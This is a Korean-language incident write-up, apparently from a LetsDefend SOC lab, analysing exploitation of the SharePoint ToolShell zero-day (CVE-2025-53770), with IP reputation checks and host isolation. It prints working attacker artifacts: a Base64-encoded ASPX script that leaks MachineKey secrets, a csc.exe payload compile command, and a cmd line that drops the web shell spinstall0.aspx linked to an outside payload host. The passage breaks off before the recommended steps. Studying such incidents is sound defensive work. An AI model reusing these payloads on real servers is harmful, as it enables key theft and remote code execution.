
CVE-2025-53770(ToolShell) SharePoint 제로데이 악용에 대한 상세한 분석으로, RCE 분석, MachineKey 유출, 페이로드 컴파일, 웹 셸 배포 및 사고 대응 차단 단계를 포함합니다.
저는 LetsDefend 랩에서 ToolShell(CVE-2025-53770)이라고 하는 SharePoint 제로데이를 분석했습니다. 악성 POST 요청이 인증을 우회하고, PowerShell을 실행해 MachineKeySection 키를 탈취하고, payload.exe를 컴파일하고, 웹 셸(spinstall0.aspx)을 드롭하는 실제 제로데이 공격을 재현했습니다. 모든 것을 기록하고, 동작을 분석하고, 호스트를 격리했습니다. 이 README는 공격 프로세스, 공격을 저지하기 위한 단계, 그리고 교훈을 다룹니다.
이것은 대용량 페이로드와 스푸핑된 Referer로 MS SharePoint의 ToolPane.aspx를 표적으로 삼은 중요(critical) 알림이자 의심스러운 활동입니다. CVE 맥락은 CVE-2025-53770과 연결되어 있습니다. 이는 특수하게 조작된 POST 요청을 통해 인증되지 않은 공격자를 허용한 SharePoint의 치명적인 취약점입니다. 성공적인 악용은 서버에서 원격 코드 실행(RCE)으로 이어졌습니다. 저는 이를 활성 상태이자 긴급도가 높은 것으로 간주했고, 그 반대가 입증될 때까지 성공적인 침해 가능성이 있다고 가정했습니다.
Microsoft SharePoint는 기업 협업과 문서 관리를 위한 플랫폼입니다. 본질적으로 파일, 워크플로, 내부 웹 앱을 위한 안전하고 체계적인 허브입니다.
문서 관리: 버전 관리, 감사 추적, 파일 권한
협업: 여러 사용자가 문서를 공동 편집하고 공유할 수 있음
인트라넷 / 포털: 사내 뉴스, 인사 정책, 대시보드
워크플로 및 자동화: 양식, 승인, 알림
통합: Teams, Outlook, Office 앱, Power BI와 연결
인증에 Active Directory 또는 SSO 사용
저장 데이터 및 전송 중 데이터 암호화
잘못 구성된 경우 웹 파트와 레이아웃이 악용될 수 있음
제로데이 익스플로잇 방어를 위한 정기 패치가 중요함
인증 없이 원격으로 코드를 실행할 수 있게 하는 Microsoft SharePoint Server의 치명적인 제로데이 취약점입니다. 안전하지 않은 역직렬화(insecure deserialization)를 악용하며, 전체 시스템 장악을 위해 다른 SharePoint 결함(CVE-2025-49704, CVE-2025-49706)과 자주 연쇄적으로 사용됩니다. CVSS 9.8(치명적)로 평가되었으며 실제 환경에서 활발히 악용되고 있습니다.
VirusTotal로 발신자(소스 IP 주소)의 IP 주소를 분석했습니다.
소스 IP 주소: 107.191.58.76

이를 통해 15/95 보안 벤더가 이 IP 주소를 악성으로 플래그했음을 확인할 수 있는데, 이는 이미 이 IP에 대해 많은 것을 말해줍니다.
이제 IP의 위치를 검색해야 합니다. 이는 AbuseIPDB의 도움으로 수행되었으며, 아래와 같이 이 IP는 해킹, 무차별 대입(brute-force), 웹 앱 공격, 포트 스캔, DNS 포이즈닝으로 알려져 있습니다.
이를 해결하는 SOC 분석가로서 취해야 할 중요한 단계 중 하나는 엔드포인트 분석입니다. 추가 분석을 위해 'SharePoint01'이라는 이름으로 엔드포인트 보안에서 호스트를 검색했습니다. 해당 IP가 해킹으로 알려져 있기 때문입니다.
호스트를 찾은 후, 명령줄을 확인하기 위해 터미널 기록을 살펴보았습니다.
PCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5EaWFnbm9zdGljcyIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uSU8iICU+DQo8c2NyaXB0IHJ1bmF0PSJzZXJ2ZXIiIGxhbmd1YWdlPSJjIyIgQ09ERVBBR0U9IjY1MDAxIj4NCiAgICBwdWJsaWMgdm9pZCBQYWdlX2xvYWQoKQ0KICAgIHsNCgkJdmFyIHN5ID0gU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkuTG9hZCgiU3lzdGVtLldlYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EiKTsNCiAgICAgICAgdmFyIG1rdCA9IHN5LkdldFR5cGUoIlN5c3RlbS5XZWIuQ29uZmlndXJhdGlvbi5NYWNoaW5lS2V5U2VjdGlvbiIpOw0KICAgICAgICB2YXIgZ2FjID0gbWt0LkdldE1ldGhvZCgiR2V0QXBwbGljYXRpb25Db25maWciLCBTeXN0ZW0uUmVmbGVjdGlvbi5CaW5kaW5nRmxhZ3MuU3RhdGljIHwgU3lzdGVtLlJlZmxlY3Rpb24uQmluZGluZ0ZsYWdzLk5vblB1YmxpYyk7DQogICAgICAgIHZhciBjZyA9IChTeXN0ZW0uV2ViLkNvbmZpZ3VyYXRpb24uTWFjaGluZUtleVNlY3Rpb24pZ2FjLkludm9rZShudWxsLCBuZXcgb2JqZWN0WzBdKTsNCiAgICAgICAgUmVzcG9uc2UuV3JpdGUoY2cuVmFsaWRhdGlvbktleSsifCIrY2cuVmFsaWRhdGlvbisifCIrY2cuRGVjcnlwdGlvbktleSsifCIrY2cuRGVjcnlwdGlvbisifCIrY2cuQ29tcGF0aWJpbGl0eU1vZGUpOw0KICAgIH0NCjwvc2NyaXB0Pg==
페이로드 때문에 Base64 디코더로 명령을 디코딩했습니다(아래 참조).
사용자는 시스템 디렉터리 "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"에서 PowerShell을 실행했고, 인코딩된 명령으로 ASP.NET 서버 측 C# 스크립트를 실행했습니다.
페이로드는 호스트의 ASP.NET MachineKey(호스트의 비밀)를 읽고 유출하려고 시도합니다. 이 키는 ViewState/역직렬화 토큰을 위조하고 인증 우회 및 원격 코드 실행을 가능하게 하는 데 사용될 수 있습니다. 이는 ToolShell 악용 패턴(MachineKey 남용)과 일치합니다. Base64 디코드 및 인코드를 사용한 명령의 주요 침해 지표(IoC)는 다음과 같습니다.
공격자는 비공개 구성에 접근하려 시도했고, 따라서 .NET을 남용하여 악용을 노렸습니다. Base64 디코더에서 System.Web.Configuration.MachineKeySection과 GetApplicationConfig를 확인할 수 있습니다. MachineKeySection에는 다음이 포함됩니다:
이 키는 viewstate 및 폼 인증을 보호하는 데 사용되는 비밀입니다. 이를 검색하는 것은 직렬화된 ASP.NET 페이로드를 위조/검증할 수 있는 자료를 얻으려는 직접적인 시도이며, 이는 역직렬화 기반 RCE의 직접적인 선행 조건입니다.
위에서 본 것처럼 단 3초 후, 공격자는 또 다른 명령을 보냈습니다.
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /out:C:\Windows\Temp\payload.exe C:\Windows\Temp\payload.cs.
위에서 본 것처럼 단 2초 후, 공격자는 또 다른 명령을 보냈습니다.
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /out:C:\Windows\Temp\payload.exe C:\Windows\Temp\payload.cs."C:\Windows\System32\cmd.exe" /c echo <form runat="server"> <object classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"><param name="Command" value="Redirect"> <param name="Button" value="Test"> <param name="Url" value="http://107.191.58.76/payload.exe\"> > C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx.
위에서 본 것처럼 단 5초 후, 공격자는 또 다른 명령을 보냈습니다.
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command"[System.Web.Configuration.MachineKeySection]::GetApplicationConfig()"
이 활동은 일관된 패턴을 보여주며, 높은 신뢰도의 침해로 간주하고 즉시 포렌식 아티팩트를 수집했습니다.
모든 명령과 분석 결과를 수집한 후, 위협 인텔리전스를 추가로 조사했고 데이터 유형 IP로 검색했습니다. 데이터 소스에는 OnlyHunt와 태그 CVE-2025-53770이 표시되며, 알림 조사 채널의 Referer: /_layouts/SignOut.aspx는 정상적인 SharePoint 작업에서 발생한 것처럼 보이게 하기 위해 스푸핑되거나 사용된 후 SharePoint에서 로그아웃된 합법적인 SharePoint임을 보여줍니다. 그 시점에 저는 호스트를 격리했습니다.
날짜/시간: 2025-07-22 13:07(이벤트) 분석가: [YourName] 케이스 ID: SOC342 호스트: SharePoint01 심각도: 치명적(Critical)
저는 2025-07-22 13:07에 호스트 이름이 SharePoint01인 온프레미스 SharePoint Server에서 ToolShell(CVE-2025-53770)이라고 하는 치명적인 제로데이 취약점 악용 시도를 발견했습니다. 공격자는 POST의 출처이자 페이로드 호스트인 알려진 악성 IP(107.191.58.76)에서 서버의 원격 코드를 실행하기 위해 인증을 우회했습니다. 공격자는 SharePoint LAYOUTS 디렉터리에 spinstall0.aspx를 업로드/생성하고, PowerShell을 실행하여 ASP.NET MachineKey 자료를 읽고 csc.exe로 C# 페이로드를 컴파일했습니다. 따라서 신뢰할 수 있는 페이로드를 제작할 수 있었습니다. 이 활동은 SharePoint의 spinstall0.aspx를 이용한 웹 셸 배포, MachineKey 유출, 호스트 내 페이로드 컴파일과 일치하며, 모두 신뢰도 높은 침해 지표입니다.


침해를 발견한 후, 분석가 노트에서 다음과 같은 단계를 수행할 것을 권장했습니다.